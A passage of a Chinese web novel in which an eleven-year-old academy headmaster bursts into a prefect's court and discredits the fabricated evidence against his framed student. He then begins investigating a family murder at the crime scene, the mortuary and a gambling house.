这一次,衙役们皆提前被打过了招呼,力求十板子之内,彻底将人打废。 这乃是暗桩的规矩了,打板子有技巧,有的看起来力道大,可实际痛处却小,二十板下去,只伤皮肉。可有的却看起来力道小,实际痛楚巨大,一辈子爬不起来或直接当场打死,也不是没可能的事。 童启气喘吁吁,几乎用尽了平生最快的速度,向府衙奔去。 上一次他如此竭尽全力的时候,还是在蹴鞠场替学生们拼命的时候。 这一次,依旧如此。 五脏六腑只感觉都快要被跑的颠出来了,整个肺部,心脏,似乎连呼吸都仿佛带着血丝的腥气。 眼见着到了府衙门口。 而吴韧这边,一板子已经狠狠落下。 他不自觉闷哼出声,额头上青筋暴涨,无声的握紧了身下的木凳,连整个甲床深深嵌入了其中,都未发觉。 顾信之得意的看了一眼旁边的王学政,这才感觉有几分爽利。 呵,不是侄女婿吗?即便亲儿子又能如何? 在证据面前,谁也别想翻身。 这,便是他堂堂知府,应有的权力。 华夏书院的学子们皆瞪大眼,咬紧了牙看着,心里则忍不住齐齐喊道,“一下……二下……” 第三声还未落,只听府衙外擂鼓阵阵,鸣冤鼓直接被击沉下去。 有人大喊道。 “住手!” 第60章 第60章(营养液加更)平反索真…… 所有人顿时转身看向府衙外,当见到童启的身影时,瞬间长松一口气。 王学政死死提起的心终于安稳的重新放了下来,而华夏书院的学生们,更是眼泪都快流出来了,个个如同等待母鹰回巢的宝宝一般,委屈巴巴看向了山长大人。 顾信之眉头紧皱,“何人在此喧哗?本知府说了,此案件已有定论,不论是谁,若是敢干扰办案,一律同罪!打,给我狠狠的打,直到他招认为止!” 童启一把扔掉手里的敲鼓棒,强行闯入了堂中,寸步不让,道。 “根据大奉朝律例,百姓若遇到重大冤情或紧急情况,涉及重大不公、官员腐败或者正常诉讼程序无法解决的情况,有资格敲响鸣冤鼓,而百姓在击鼓后,官员必须立刻升堂受理案件,不得拖延!怎么,知府大人,你这是要知法犯法,眼睁睁看着百姓无冤可诉,公然质疑朝廷内的司法制度吗?” 顾信之难以置信的站起了身,冷笑道。 “你跟我讲律法?好,那我便跟你讲一讲什么叫作律法。大奉朝明文规定,当地知府有审理权,若遇到人证物证具在的重大凶案,可直接判刑,三个月后,再上交至大理寺和刑部复审,你有什么冤屈质疑,便等到三个月后再说吧!” “您确定吗?或者说,您确定胡丞相本人,也是如此想的吗?” 顾信之瞬间一滞,阴狠的看向童启,他上前两步,压低了声音道。 “是,我不敢保证三个月后,吴韧会如何,可顾大人,您便确信三个月后,自己不会人头落地,连带着胡丞相也受到牵连责骂吗?别忘了,我可是皇上亲自赞赏过的文人,身后还有着三皇子。若被逼急了,抛去这一切东西不要,也定是会给自己的徒弟报仇的!到时候相信您也不想看到您自己尸位素餐、狭私泄愤、草菅人命的文章,传遍大奉朝每个角落,无一遗漏吧?” 顾信之握紧了拳,反问道,“你这是在公然威胁朝廷命官吗?” “不,我只是想让您相信,我们书院的校刊,绝对能达到这种普及速度。” 童启认真讲道,方才他已经从学生们那里简单的听完了整个事件,如今只觉得脑袋顶上都燃着熊熊火焰。 无可压制下去。 他拿起旁边一学子手中的【华夏书院校刊】,明晃晃示意着。 顾信之一点点沉寂下来。 他不敢笃定童启会不会为了一个吴韧,和他彻底撕破脸皮,宁愿冒着永远都开不了书院的风险,去保这一位学生。但却敢信,这校刊的威力。 这玩意儿不过刚刚产生了三个月,便如同瘟疫一般传遍了大半个北方。 连带着京城里圣上、皇子们也偶有翻阅。 若不是生产印刷的速度总是被控制着,不肯多卖,如今只怕整个大奉朝,都早已经是这东西的天下了。 而这也是他真正畏惧华夏书院力量的原因。 舆论。 如此不可控的东西,竟被一个书院的山长掌握着,何等的滑稽可笑! 若其真在这上面刊登点什么,谁知道他会不会像第二个【范进】一样,落得千夫所指的下场呢? 是索性鱼死网破,还是且退一步,令其心服口服? 顾信之瞬间陷入纠结之中。 而童启则趁着这个时间,心疼的将自己的学生搀扶了起来,他看着对方身上的伤,一股难言的怒火令他险些抓狂。 又是如此,又是如此! 有什么事为何不能冲他来,为何总是要对着他无辜的学生们去下手? 啊啊啊他连一个指头都舍不得碰的宝贝学生啊! 竟被硬生生打成了这个惨状! 顾信之,我童启必和你势不两立!! 察觉到山长快要崩溃的情绪,吴韧抬起眼,轻轻的点了点头,以示自己无妨。 相反,他反倒觉得庆幸,万幸这祸事是冲着自己来的,而不是山长。 不然就山长那小身板,一板子下去,哪里还有命在? 童启满肚子怨气,无从发泄,因着人在屋檐下,对方是官,他只是民,所以 也只能强忍着,一把拉起那地上跪着的更夫,质问道。 “便是你亲眼目睹了我学生衣衫带血,手拿利刃从城东跑出来的?好,那我请问你,你知道从城东柳家跑到我学生居住的地方,需要多长时间吗?” 更夫慌乱不已,他哪里知道这个?于是随便说了个数字。 “大概……两刻钟?” 童启冷静的摇摇手指头,“我告诉你,起码需要一个时辰之久!” 从城东到城西,除非吴韧是疯了才会跨这么大半个城区去杀人,只是路上花费来回就得四个小时!哪里还有什么力气去杀人哦。 “普通人的步行速度约为每小时3-4里,我们住在清水巷,位于城西,而柳氏居住在城东,整个州府不算绕的远路,直行距离为7里左右,也就是说,吴韧起码得花费两个时辰在路上,没错吧?你说你是在三更时遇到的他,那么扣除杀掉五人用的时间,扣除掉他路上去的时间,再再扣除掉他奸、、辱妇女的时间,我们最少给他算个一刻钟吧。那么,请问,他需要在几时出门,才能被你碰到回程的路?” 这一堆加加减减的,在场不少人早已经听迷了,可旁边的华夏书院学生却快速的推算了出来。 “他起码需要在亥时左右出门。” “没错,那还要算作一路顺风且无人遇到的情况下。”童启点头表示同意。 “那不对啊!亥时我还没睡,正和妹妹在算账,睡之前吴案首的灯油还是我给他添的呢,那个时候他正低头温习着功课,我可以做证。”刘默连忙插话道。 旁边的邻居也忙开口道,“是了,刘默锁门的时候我还和他打了招呼,亲眼看到他手里拿的油灯。” 更夫忙摇头反驳,“许是我记错了,我……” “没错,你的确记错了,你说你视力很好对吧,既然大晚上能看清衣衫上的血迹,那我问你,我右边衣角上有什么,你现在能告诉我吗?” 童启直接后退几步,站在人群之中,环胸注视着他,那更夫额头上汗水渐渐密布。 “是……是一大片污渍。” “不,我右边衣角上什么都没有。”童启隐匿在暗处,提起自己的衣角展示道。 顾信之慌乱的看向一旁的丘师爷,可对方也没料到,童启的思维会如此清晰,不受影响,只几句,便辩驳倒了更夫的口供。 童启再次将视线看向地上的证物。 “至于这东西,那便更好作假了,别的不说,我们华夏书院的衣衫都是有一定的暗纹的,只要用手摸就能摸出来,若真是染血时被包裹,升起如此多的锈斑,那上面一定会有布料沾染,可这把匕首……” 他拿起那把刀,除了锈迹便只剩下些微血液沉淀下来的粉末,哪里有什么图案? “何况,这衣衫上的血迹也不正常。” 童启冷静的摩挲了一下那衣服上的血液颜色,细致分析道。 “但凡杀过人的应该都知道,如果刺中要害,血管里是会喷射出大量鲜血的,若近距离相处,那么衣服上绝不可能只沾染这一点,而且,模样也不会是呈现这种大片状,而是点滴斜射进入才对。十日过去,更不可能还保持如此鲜艳的颜色,随着氧化,会渐渐暗红沉淀,直至转为粉末状。” 周围百姓们敬畏的听着,一脸的迷迷糊糊,可不知为何,却倍觉有道理。 旁边的仵作同样啧啧称奇,他仔细思考了一下以往遇到的情况…… 别说,好像还真是如此。 不少人过了一会儿,这才恍然大悟道。 “这么说这衣服上的血迹有可能压根就不是那日沾染的,而且也并非同一天,那怎么会在他的床底下发现呢?” “没准是被栽赃呢?话本里都有讲过,有人嫉妒科考举子,就会拿这种事情栽赃,这更夫满口谎话连篇,说不定就是被人买通,故意栽赃吴案首呢?” 不得不说,路人意外真相了。 一下子,民众间舆论再次反转。 顾信之开始慌了,他拿起惊堂木频繁敲着。 “肃静,都肃静!你说什么就是什么吗?即便如此,那也证明不了什么,当事人,才是最有利的证据。” “是吗?” 当事人? 童启挑挑眉,上前一把拉过刘默,遮挡住吴韧的脸,然后向汪启元等人眼神示意了一下,低头询问向那“柳氏”。 “你说你看到了人?那应该对凶手恨之入骨吧?想必化成灰都能够认识?” “自……自然。”柳氏低声说道,不敢直接回应这小山长的问询。 童启站在她身前,干扰着注意,遮挡着她的视线,而身后的汪启元等人则迅速和吴韧换了衣衫,并排站在了一处,简单混淆了一下站位问题。 “放肆,你们在做什么?”顾信之大喊出声道。 童启这才起身,示意向那女子。 “很好,那我再问你一遍,现在,你还能看得出谁是那天碰了你的人吗?” 因着都穿着华夏书院的衣服,个子年龄又相差无几,猛地变换,没看清的话,根本难以辨认。 那女子瞬间慌了,瞳孔在几个人之间快速打量着。 丘师爷闭了闭眼,有意提醒,刚咳嗽了两声,童启的目光便如刀般瞬间射了过去。 他顿时僵住,不敢再吭。 那女子没人指挥,犹豫着,只得将手指向了其中一人。 杨舟万瞬间绽放出一个璀璨的笑容来。 周围围观的百姓顿时更加大声的议论起来,满脸充满了荒唐难解之状。 “看吧,当事人甚至都无法辩驳出到底谁是谁,这样的神智状态,便是知府大人所说的铁证如山?简直荒谬。” 童启环着胸,一句话推翻原本的论述。 顾信之整个脸都黑了下来,他从未想过,这小孩子竟能如此厉害,轻飘飘便掌握住了关键点,直接三两句话,驳倒了所有证据。 而百姓们看在眼里,记在心中,有了站位,自然难以再撼动。 可即便如此,顾信之依旧没有松口。 “好,就依你所说,吴韧可能并非凶手,但这也不代表他就没有嫌疑,要我说,就暂时收押看管吧,直到寻到凶手,再释放不迟,退堂!” 顾信之气汹汹转身带着人离开,丘师爷连忙低头跟上。 童启注视着他们的背影,眼神阴鸷,目光所及之处,仿佛带着一股寒意,令人不敢靠近。 他知晓,如今吴韧是暂时带不出来的,可大庭广众之下,应该也不会再遇到什么生命危险了,但如此措手不及,无可防备,终究还是打乱了他们所有的步调。 伊川县暂时是回不去了。 华夏书院的学生们立马围了上来,询问该怎么办。 童启想了想,“不必担忧,我会请王学政派人盯着牢房,同时派遣大夫去治疗吴韧,咱们如今之计,只能先帮着找到凶手,再谈其他。” 这位顾知府,我算是记住了,不会就这么轻易的放过他的。 童启冷厉的眼神瞬间一收,带着人便前往了城东案发地点,寻找线索。 而王学政只得暂时回到家中,帮忙慢慢筹划。 后院内,王颖正哭的死去活来,闹个不休,听闻姑父回来,立马便起身前往书房,围追堵截。 “姑父,我不愿嫁!您即便是将我许配给屠夫、下九流,哪怕匪盗也可,但杀人犯,我是万万不愿意的。” 王学政焦头烂额,只得跟她解释,事情并非她想象的那样。 可王颖却似乎认定了,那吴韧并非良民。 “ 扑通”一声便往地上一跪,哭诉道。 “姑父,颖儿自小便没求过您什么,但只愿这一事,您能够高抬贵手,放我一马。我没有爹娘,孤零零长到如今,一心只想寻个良人厮守一生,即便不如绾儿那般门第兴旺,可怎么,也不能是个杀人犯啊,是颖儿哪里做错了吗,还是得罪了您,要令您逼得我如此境地?” 王学政难以置信反问道。 “你……觉得我是在逼你?我是你的姑父啊,难不成,还会害你吗?” “以前我也是如此认为的,可今日,我不敢信了。您既然觉得好,那为何不干脆将绾儿嫁过去呢?我自认福薄,愿与绾儿换亲,只愿姑父应允!”王颖咬紧了牙,破釜沉舟,干脆撕破了脸喊道。 那王学政脸色惨白,从未想过一生自认公允,可自己的表侄女却竟是如此看他的,不由也有些心灰意冷起来。 “痴儿啊,你以为我不让你嫁入高门,那是看不起你吗?我那是为了你好!” “可我不要这种好!姑父,我不想被牺牲!我只想要一个公平的机会。” 王学政整个肩膀倾颓下来,头痛欲裂。 “好,罢了,你既不愿,我也不勉强,这桩婚事,便如你所说吧。可吴韧这小子,我是认定了的,你还年轻,有许多不懂,等过几年,你迟早会后悔的。” “我绝对不会后悔。”王颖坚定的打断道。 王学政语滞,不愿再多言,摆摆手,便令她离开,去唤绾儿过来。 算了,人各有命,既然她选择了自己的路,那便按照想要的方向去走吧。 是非曲直,回头自有时间会证明。 可能王绾儿也没有料到,父亲不过出门了一趟,竟给自己换了桩婚事。 她犹自怔愣着,旁边听闻消息的母亲却早已经崩溃大哭起来,既埋怨丈夫死要面子,掺和进如此恶事,又责怪他自己瞎承诺,最后竟要赔上唯一的女儿,去应允这门不适配的亲事。 王学政摆摆手。 “你懂什么,锦上添花易,雪中送炭难。如今他正处于低谷,我们若要退亲,那也万万不能是这个时候啊,不然整个朝堂,又该如何看待我们家?岂不言趋炎附势、落井下石么?而若吴韧真的查清了并无嫌疑,只看华夏书院愿如此力保,便知这吴韧前途无可限量,到时候,怎么也是咱们女儿捡了便宜啊!” “呸,什么便宜,不过一个穷秀才,哪里比得上世家公子?” 吴氏抱怨着,和丈夫的想法没有半点相似,反倒与王颖十分雷同。 王绾儿忙起身劝慰起母亲来。 实际上,她并没有想过要嫁谁,反正到最后,也不是自己能够选择的,只要不是最喜欢的那人,那么嫁给谁,又有什么不一样呢?比起母亲,她反倒更相信父亲的眼光,总不会真坑了自己。 嫁人嫁到最后,终究是看人品。 感情什么的,倒是后话。 “换便换吧,我愿意与表姐更换。” 她冷静的说道,客观的,就像是在谈论其他人的事情一般。 这时,丫鬟小环买东西匆匆从外赶了回来,一见到她,便满脸焦急,像是有什么话要讲一般,看到夫人老爷皆在场,这才闭上了嘴巴。 两人回到绣房后,挥退其他人,兀自坐在榻上。 那小环这才苍白着脸开口道。 “不好了,小姐!我方才出去买胭脂,遇到咱们那日见到的学子了,他被衙门抓了,说犯了法,正在审理呢!” 什么?这么巧? 也被衙门抓了? 等等,王绾儿迟疑着问道。 “那你可有问那学子的名字,姓甚名谁?” “问了,这一次我可没忘,听说是从华夏书院出来的,叫作吴韧,这一次,还拿了案首呢!” 王绾儿陡然站了起来,满身水粉胭脂落了一地。 她又惊又喜,想开口说什么,可脑海中却烟花阵阵,放个不停。 既羞耻又窃喜,百种滋味,竟无可概述。 才下眉头,又泛上心头。【你现在阅读的是 】 60-70 第61章 第61章案件推理 牢房外,华夏书院的众人在为了吴韧,忙前忙后。 而牢房内,满身是伤的吴韧趴在稻草席上,也不禁思考起一个从未想过的问题来。 那便是,什么是官? 他从小被父母寄予厚望,读书科举,盼着出人头地,跨越阶层。 可“官”究竟是什么?他却从未弄明白过。 他曾以为,官是像章县令、柏大人那样,再不济也是王学政、木知府那般。 可今日才知晓,也有如顾信之这类为达目的不折手段之人。 这让他对自己的理想感到深深的怀疑,更迷茫于今后的路,要何去何从。如今拿下院试,按照山长的计划和安排,明年便是冲向官场的最后一年,可自己真的准备好做一个官了吗?又有信心浸淫于大染缸之中,依旧坚持自我,无愧于心吗? 一想到这些,他便不由开始感到失落,进而泄气起来。 牢房里,四周密不透风,潮湿又阴暗,空气中弥漫着难以言喻的汗渍味道,裹挟着一股馊了许久的各类食物混杂的气息,如同一大堆尸体陈列在地下通道里缓慢发酵着。 闷热的天气,将他身上的疼痛越发放大起来,从腰际至膝盖处,火辣辣一片,如同煎烤一般,伤口处渗出的血迹已经逐渐干枯,粘带着衣服,伴随着每次呼吸不断拉扯着皮肤。 痒痒的,令人忍不住想要抓挠。 角落里斗大的耗子不断奔跑翻腾,跨越过床榻,尿桶,大剌剌冲进他的视线里,啃食着地上食物的残渣,毫无畏惧。 自考入华夏书院后,吴韧已经很久没有住过如此艰难的环境了。 山长对待他们就像是手中的珍宝一般,轻易没让他们吃过亏,书院里,一切事物皆有人帮忙打理,窗明几净,风寒不侵,他们只需要读书即可,其他均不必操心。富养了几年,他已经快忘记了自己曾经的屈辱生活,和原本的世界也逐渐脱节。 可天下像他这般幸运的学生,又有几人呢? 多少如他一般含冤入狱,却没有任何人在外奔走营救,浑浑噩噩来,又浑浑噩噩死的,又有几人呢? 吴韧静静的发着呆。 隔壁牢房里,不少犯人剔着牙,捉着身上跳来跳去的虱子,好奇的围观着。 “嘿,又进来一个,这小子怎么一副文人打扮,也会被抓进来?难不成大奉朝已经亡了?” “看起来下手打的还挺狠,估摸着得罪了衙役,或者没有塞够钱吧?” “喂,那个文弱书生,你犯了什么事啊?说出来听听!” …… 寥寥笑语透过一排排木栅栏,传到吴韧耳中,他无心回答。 见没人理会,那几个犯人也颇觉无趣,只得无聊的再次蹲回到墙角处,慢慢数稻杆子去。 彻底安静下来后,吴韧逐渐昏睡过去。 等醒来,已经被换了一个相对干净的牢房中,身边还放上了新的吃食。 股间、大腿处的伤口已被仔细清理上过了药,周围的犯人也均是一股畏惧好奇的神色。 似乎在琢磨着他什么背景。 吴韧沉默的接过那食盒,里面放着一张字条,字迹清秀娟丽,上写着:千淘万漉虽辛苦,吹进狂沙始到金。 他一滴泪缓缓坠落,若有所思。 河南府,城东。 童启带着学生们径直去看了一下刘武的家。 自从全家五口被灭门的事情发生后,这附近的租户,便几乎都快搬空了,大部分嫌弃晦气,不愿租,庄宅主为了留住人,租金下降了不少,依旧没有找到新的租客,得知他们是来调查此事的,不由口中嘟嘟囔囔起来,尽是埋怨之语。 “哎呦,天杀的犯人,也不知道滚远点作恶,怎么就偏偏在我的屋子里死掉了,搞得我这里的房子都卖不出去,本来价钱就低,这下好了,简直造孽!也不知道衙门里什么时候才能够抓到那个犯人,好歹赔我们一点损失啊?” 说着,便拿眼神去觑童启,暗示着华夏书院赔点银子出来。 两旁的镖师不耐烦的挡在童启身前,满脸严肃之色,庄宅主这才讪讪着闭嘴,不再说话了。 童启心无旁骛,率先观察了一下这房子的四周。 因为在城东,地理位置确实很偏僻,距离最近的闹市也要走上许久,邻里隔得相对较远,即便最近的一家 也相距几十米开外了,轻微的一点点声响,半夜里根本听不见。 且对方十日前恰好因走亲戚,皆不在家,所以连个人证也没。 他看了一眼门口的门锁,并无被撬开或者利器破开的痕迹,这才环视了一下周围的院墙,抬步进入了院子里。 刘武一家总共有五口人,父母年纪大了,平日里帮忙着做点浆洗的活计,小夫妻俩则在闹市区开了个卖烧饼的早餐摊,每日天不亮便出门卖东西,所以租住的院子也相对于宽阔,不仅能够放得下刘家卖东西的木车食盆,还能够有三个房间,供他们居住。 四周邻舍见到他们来此查案,均好奇的不行,听见问起刘武,评价也是清一色的好。 “刘武人不错,忠厚老实,又有着一股子热心劲儿,但凡谁家遇到个什么问题,让他帮帮忙,就没有不应的,人家小夫妻两个关系也好,天不明就出去摆摊,不论刮风下雨,就没旷过!就这,还要被他那爹娘嫌弃赚的少,呵,要我说,真真是好人不长命,若不是柳氏嫁过来,哪里有这么好的日子哦?” “他爹娘也难,手心手背皆是肉,老大不良于行,连个亲事都谈不上,可不得让老二多赚点,帮忙养家嘛。” “他们一家死的也是惨,估摸着是得罪了人也说不定,我侄子也在那东区摆摊,说是前段时间来了个卖馒头的,两家斗得狠呢。” “卖馒头的?斗的有多狠?”见童启好奇的问出声来,那骤然被叫到的妇人顿时八卦心十足,压低了声音道。 “你可别说是我说的啊,我听闻那卖馒头的,背景来头大的很,府衙也有人哩呢,一上来便各种刁难柳氏,明明他卖的和人家刘武卖的也不一样,但却总说人家抢了他的生意,还说什么柳氏模仿他的方子,卖的不干净如何如何,有一次闹大了,还招来了衙役呢!” “确实,你说的这事我也记得!到最后,据说还是罚了刘武,赔给那卖馒头的不少银钱,这才了事,憋屈的很!”附近的邻居回忆起来,纷纷点头。 童启细细问过那卖馒头一家的姓名地址,打算一会儿前去看看。 然后便转身进了屋内,汪启元和常仕进等人忙跟上,小声讨论着。 “不会犯人就是那卖馒头的吧?” “我看不是没可能,不是说关系背靠府衙吗?吴韧被如此栽赃,说不得就是他们知道实情,所以故意包庇冤枉呢?” 童启清了清嗓子,两人连忙闭上嘴。 他蹲下身,看着正厅里碎成一片的桌椅板凳,凌乱的倒在地上,还沾染着不少暗沉的血迹,测算了一下距离和角度后,这才起身前往侧厅。 “庄宅主,这东西,都没人碰过吧?” “没没没,”庄宅主连忙上前解释道,“我也是懂规矩的,自上次衙门里来人看过之后,便警告我结案之前,不准动这里面的东西,所以我压根没进来,直接门一锁,便没管其他了。” 童启点点头,简单的绕了一圈,然后又分别去柳氏、刘武大哥、刘武父母的卧室中看了一遍。 相比起其他地方,柳氏和刘武的卧室里,简直就是凶杀案现场。 门一推开,浓浓的血腥气息以及灰尘瞬间呛了人一脸。 郭胜开和杨舟万等人立马便跑出去吐了起来,就连常仕进和刘卜温也满脸不忍之色。 唯有童启和汪启元拿过手帕包裹住口鼻,抬脚走了进去。 他沉心观察着四周的血迹方向,以及地上的脚步印痕。 估测着这里可能才是第一个杀人现场。犯人在侮辱柳氏之后,被刘武发现,两个人临时展开了一场博弈,最后不敌被杀,因为神色匆忙,且没有经验,所以造成血迹喷射的非常多,身上的伤口想来应该也十分密布。 汪启元看着墙角上那喷溅的如同泥点子般的血迹,惊讶了一瞬。 “山长,跟您说的一样,这血迹,确实是点射状。” 童启瞥了一眼,拿手丈量了一下高度和角度,询问向庄宅主。 “他们几个人的尸体呢,都是在哪里发现的你知道吗?” “那我怎么能知道,当时周围的人都快吓死了,官差压根不让动,说是查案,我听那发现的邻居说,好像刘武和柳氏都死在了自己房里,他爹娘则是在厅内,至于那个刘武兄长估摸着是被勒死的吧,好像也是在自己的房中?” 这便奇了。 童启思索着,准备带人去义庄看看尸体。 杨舟万好奇的打探道。 “山长,您发现了什么,这么混乱,能看得出什么东西吗?” 其他的学生和镖师们满脸期待,就连那庄宅主,也不自觉侧过脑袋,好奇这群文人能看出什么。 衙门里又是仵作又是衙役的,查了十天都没查出来的东西,就这么简单的溜了一圈儿,便能看出不一样的东西来吗? 搞笑呢吧。 童启笑了笑,如今大奉朝仍旧没有专门查案的职业在,推理小说和故事更是少之又少,许多文职和武职基本上是同一个位置,别说观察分析了,连基本的很多痕迹都不会注意到。 他忍不住想抬一下眼镜,秀一波自己的“柯南”瘾,可伸出手,却发现自己这一辈子尚没有近视呢,于是只得作罢。 “大部分,其实还看不出,但我估计,凶手应该是和刘武他们熟识,并且对柳氏一家十分了解的人。” “这是怎么看出来的?” 大家都没有想到童启就这么简单的看了几眼,竟然还真能发现点什么,纷纷诧异无比的瞪大了眼睛。 童启耸了耸肩。 “门口没有撬锁或者武力强行突破的痕迹,而四周的院墙又很高,没有翻越的可能,大半夜能够顺利进入刘武等人家中,且前厅没有打斗的痕迹,说明凶手和对方应该是起码经历了一番简单交谈的。甚至他的父母还准备了一些基本的食物用来待客,对方明显清楚他们家里所有人居住的地方,不用油灯也能够摸进去,怎么能说不算熟人呢?” 所有人倒抽一口冷气,望着他。 “其次,柳氏对他并无防备,连房门都没有锁,能够如此信任的,绝不会是只来过一次的人。” 童启说完,已经不顾及几个人彻底呆掉的表情,转身前往义庄,查看尸体。 义庄内,白日里上过堂的仵作已经站在门口等候多时,他旁边还站着一位同样穿着打扮的胖子,想来不是师父应该便是师兄弟之类的。 那胖子见到几人,顿时不屑的冷哼一声,道。 “这年代但凡肚子里有点墨水就敢如此猖狂,我还以为什么来头,不过几个酸秀才,还敢验尸?这几个我和我师弟早已经里里外外检测过了,不必再看。” 那仵作忙拉了拉对方的衣袖,恭敬行了一礼,将这五人的“验尸报告”递给了童启,道。 “这便是小人整理的验状,还望童山长可以允许我等学习旁观。” 他白日里站在府衙,早已被童启一番清晰的逻辑辩论所征服,自然明白对方是个懂这些的,因此晚上特拉了师兄一同来观摩。 童启不语,接过那验单,只见上面清晰明了写着四个人尸体的情况,便没阻止他们留下。 夜晚的义庄黑布隆冬,四周只燃着点点油灯,看起来分外恐怖。 除了汪启元,其他学生们均站在门外,不敢进入。 童启用手帕简单包裹了一下手指,率先翻看了一下刘武兄长的尸体,只见其口中酒气熏天,脖颈处有着明显被勒死的痕迹,然而却无任何布料残留。剩下几个却是被匕首捅死的,死状可怖,不由陷入了深深的疑惑之中。 “有意思。” “什么意思?” 童启看了一眼那问话的胖子,没有回答。 哼,你问我,我就说啊? 方才不还鼻孔朝天吗? 那胖子见他不答,瞬间憋得脸色涨红,旁边的小仵作行了一礼问道,“不知,童山长可有什么新的发现?” 童启看了一眼他,脸色严肃下来。 “也许,凶手并非一人。” 这全新的论断,直接推翻了以往所有人的猜测,也令两位仵作顿时哗然大惊。 可这一次,童启却没有解释的心情了,他迅速带着人回到了住处,然后便开始给所有人安排任务。 “时间紧任务重,吴韧的伤势耽误 不得,明日咱们分头行动去调查。汪启元,你率先去查和刘武亲近的人,包括他的仇家,还有那个邻居所提到的卖馒头的人;常仕进,你和杨舟万去调查刘武兄长往来的人,尤其是经常登门的朋友,看看他们最近都在做什么,一定要仔细,再打听一下他的风评,以及腿是怎么回事;胜开,你和我一起去赌坊。” 赌坊? 几个人顿时惊讶的抬起头,童启却没有解释,只让他们尽管先去做,回头再说。 第62章 第62章赌坊天才 “大人不必担忧,即便那童启帮着洗清了吴韧的嫌弃,可这也说明不了什么啊?只要没有找到真正的犯人,那他就依旧是最值得怀疑的案件凶手,咱们大可以永远的关着他,将他彻底耗死在牢狱里!反正这案件百无头绪,便是想查,也没有那么容易解决!” 河南府府衙后院。 又给童启留出了一点争取的时间,顾信之不安极了。 可丘师爷却信誓旦旦,半点没当回事。 他们衙门里上上下下忙活了这么久,连个线索都没的案子,童启不过一个教书的,能懂个什么?充其量不就会点四书五经?难不成只靠着念书就能把犯人念出来吗? 反正只要拖着,那吴韧便别想离开河南府。 到最后,童启不还是得回来跪着向大人求饶么? 可顾信之却没这么乐观。 他觉得,这童启身上多少是有点邪门在的,自己每次遇到他,都总是会发生意外,明明板上钉钉的事情却不受控制般向另一个方向倒去。不过十一岁,个子矮矮,说起话来,气场倒像是他的恩师胡丞相一般,眼神一扫过来,便令他忍不住心虚,腿肚子打颤,莫名其妙就将辩驳的话给憋了回去,落入下风来。 城东灭门案,确实难办。 哪个地界,一下子死了四个,都算是重大刑事案件了。 再加上一连十日都没什么线索,顾信之便听从了丘师爷的意见,偷偷买通了清风街的洒扫下人,将现场凶犯遗落的匕首栽赃给了吴韧,想借此来个铁证如山,一击即中。 可谁想到,竟也能被掰回来? 这童启,简直就是他的灾星! 如今河南府内百姓情绪正群情激奋,舆论整个一边倒,又有着王学政那个老匹夫,明晃晃替人撑腰,即便他想再做什么,也无从下手。 只得暗自祈求着这背后的凶手放聪明些,躲远点,莫露出什么马脚。 不然若被抓住,不仅毁了他的一盘大棋,还要令他们府衙背负上殴打秀才的名声,那才真正是得不偿失! 第二日,一大清早,华夏书院的学生们便四散开来,去调查山长所下达的任务。 而童启则携着郭胜开前往了河南府最大的赌坊——永开赌坊。 两个人特意换了身衣服,搞了身短打,力求符合普通人进入赌坊中的穿着,可即便如此,到了门口,却依旧被人给拦下了。 门口的护卫上上下下打量了一眼郭胜开,又瞥了眼其身后童启的身高,斩钉截铁道。 “我们这里不允许小孩子进来,乳臭未干的小娃娃进什么赌坊?去去去,一边撒尿玩儿去!” 童启内心被狠狠扎了一刀,郁闷不已。 他与郭胜开,不过相差四岁,可也不知道怎么回事,两人之间的身高差距,倒像是凭白隔了个辈分一般。 明明他现代怎么也算是个一米八的帅小伙子,这怎么进入大奉朝之后,却不长了呢? 眼瞅着进不去,没办法,童启只得委托郭胜开独自进入调查。 他偷摸拉着学生走到一侧说道,“你这次进去,记住,最重要的就是寻人,要去看看有没有习惯左手摇骰子的人。” “左手摇骰子?” 郭胜开一脸茫然,虽不知道山长是如何得出的这个结论,可也清楚此刻不是询问的时候,于是忙答应了下来。 童启将怀中兑换好的十两铜板、碎银一股脑全塞给了他,嘱咐道。 “线索虽重要,但你自己的安全也很重要,能不打草惊蛇,就尽量不打草惊蛇,可万一遇到危险的话,别忍着,一定要大声喊叫,老师立刻就带人进去救你,明白吗?这是十两银子,你可以伺机而动,装作普通的赌徒去借此接近其他人,即便全部输光了,也没关系。” 毕竟赌博嘛,不输才是不正常。 可郭胜开听到这要求,却有些难以置信。 全部输光? 别说十两银子了,以他家里那条件,便是一两银子他也没有这么阔气过的,一想到要全部扔如大海中般,溅不起半点涟漪,他的整颗心,便仿佛在滴血一般。 “我会尽量在不输光所有钱的前提下,打听消息的,您放心。” 他咬着牙承诺道。 山长为了营救学生肯下血本,他十分感动。 可真的输光,对于他,还是过于苛刻了。 郭胜开揣着银子,忐忑的就如同壮士上战场一般,义无反顾的走了进去。 童启则独自留在外面,干脆找了个馄饨摊子坐了下来,与摊主闲聊起这附近的事情来。 “大爷,您在这里摆摊多久了?” 他随意点了一份三鲜小馄饨,闲问道。 “嗨,小老儿我祖上三代都是卖馄饨的,这家赌坊还没开的时候我就在这里,你说有多久了?” 身着短衫长裤的老爷爷利落的将馄饨下入沸水之中,所有头发全部用巾帕包裹着,干劲十足。可脚上穿着的却是一双草鞋,伴随着瑟瑟秋风,露出的几个脚趾卑微的挤在外面,显得分外冰凉。 大奉朝赋税其实并不算太重,可大部分小摊贩日夜摆摊,所赚的,也不过将将温饱罢了。 童启叹了口气,注意到对方腰间的褡裢样式有几分新奇,不由多问道。 “这褡裢看起来倒是挺实用,是您自己缝制的吗?” “嗨,我哪里会这个?不过是看大家都这么做,所以请人帮忙仿了一个,听说最开始的时候是个卖烧饼的先这么做的,后来大家就都跟着学。” “那会不会有拿错的可能呢?” 馄饨摊的摊主神秘一笑,露出背面所缝制的“馄饨”字样,童启这才恍然大悟,不由竖起了一个大拇指来。 热气腾腾的小馄饨不消片刻便被端了上来,清澈的汤水,泛着淡淡的金黄,汤面上漂浮着几片嫩绿的葱花,如同点睛之笔,小巧玲珑,可馅料却扎实饱满,令人忍不住食指大动。 童启先喝了一口汤,大赞了一声,这才继续问道。 “您这手艺这么好,估摸着每天的生意应该不错吧?这里进进出出均是有钱人,您可曾听到过什么新鲜事?比如谁赢了钱,突然大撒一通,让大家一起乐呵乐呵,瓜分财运的?” 馄饨摊主被逗得前仰后合,“哪里有那样的人,还撒钱?但凡进了这门的,不输光了被打扔出来,已经是难见的光景了。” 说着,那小老头突然想起了什么,神神秘秘道。 “你别说,若说稀罕事,我还真记起一件。” “哦?”童启浑身一凛,不由微微坐直了身体,露出副好奇的表情。 对方压低了声音道。 